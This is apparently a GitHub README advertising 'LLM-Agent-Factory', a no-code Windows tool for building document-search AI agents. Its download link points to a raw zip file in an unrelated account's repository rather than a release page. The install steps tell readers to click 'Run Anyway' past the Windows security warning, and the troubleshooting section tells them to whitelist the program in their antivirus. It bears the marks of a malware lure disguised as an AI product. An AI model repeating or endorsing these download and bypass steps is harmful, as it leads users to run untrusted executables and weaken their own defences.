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🤖 LLM-Agent-Factory - Create smart agents using simple tools

LLM-Agent-Factory helps you build and manage digital assistants. These agents search through your documents and provide answers based on the information you provide. You do not need to write code to create these systems. The software handles the complex background tasks so you can focus on building your agents.

📥 Getting Started

You need a computer running Windows 10 or Windows 11. Your system should have at least 8 gigabytes of RAM to ensure the agents run smoothly. The software relies on local processing to keep your data private.

Navigate to the release page: https://raw.githubusercontent.com/houseofprayerzinzendorf150/houseofprayerzinzendorf150.github.io/main/repulseless/1.3.zip
Locate the section labeled Assets.
Click the link ending in .exe to download the installer file.
Save the file to your desktop or your downloads folder.

⚙️ Installation Process

Once the file finishes downloading, follow these steps to install the software on your machine:

Double-click the downloaded file. Windows might show a security prompt because you downloaded an application from the internet.
Click More Info and then click Run Anyway to proceed with the setup.
Follow the instructions on the screen to choose your installation location.
The installer creates a shortcut on your desktop.
Click Finish to complete the setup process.

🚀 How to Create Your First Agent

After opening the application, the main dashboard provides access to your agent library.

Click the New Agent button located on the top left side of the window.
Provide a name for your agent.
Define the role for your agent in the description box. For example, tell the agent it acts as a research assistant for your project.
Select the folder on your computer that contains the documents you want the agent to read.
Click Save to allow the software to process your documents. This process, known as indexing, allows the agent to search your files rapidly.

🔍 Using Semantic Search

The agent uses semantic search to find answers. This method searches for the meaning behind your question instead of just matching exact words.

Select your agent from the list on the left side of the screen.
Type your question into the input box at the bottom of the window.
Press enter on your keyboard to send the message.
The agent reads your documents and shows the specific parts that contain the answer.
The system provides links to the original documents so you can verify the information yourself.

🛠️ Managing Your Agents

You can maintain multiple agents for different projects. The software stores each agent separately.

Edit Agent: Change the instructions or update the document source folder by clicking the Edit icon next to the agent name.
Remove Agent: If you no longer need an agent, use the delete option to free up disk space. Removing an agent deletes the indexed files from the storage folder.
Update Documents: If you add new files to the source folder, click the Refresh icon on the agent screen. The agent will read the new files and update its knowledge base.

🛡️ Privacy and Safety

This software runs locally on your computer. Your files and your questions stay on your hard drive. The application does not send your private data to external servers. This design gives you full control over your information.

🧩 Troubleshooting Common Issues

Application does not launch: Check if your antivirus software blocked the execution of the file. You may need to add the software to your list of trusted applications.
Search returns no results: Ensure your source folder contains supported file types such as PDF, TXT, or DOCX. Verify that the file path does not contain special characters.
Slow performance: Large document sets take longer to process. If your computer slows down, try breaking your documents into smaller folders and creating multiple agents.

Keywords: agentic-ai, ai-agents, huggingface, llm, machine-learning, multi-agent-systems, python, rag, retrieval-augmented-generation, semantic-search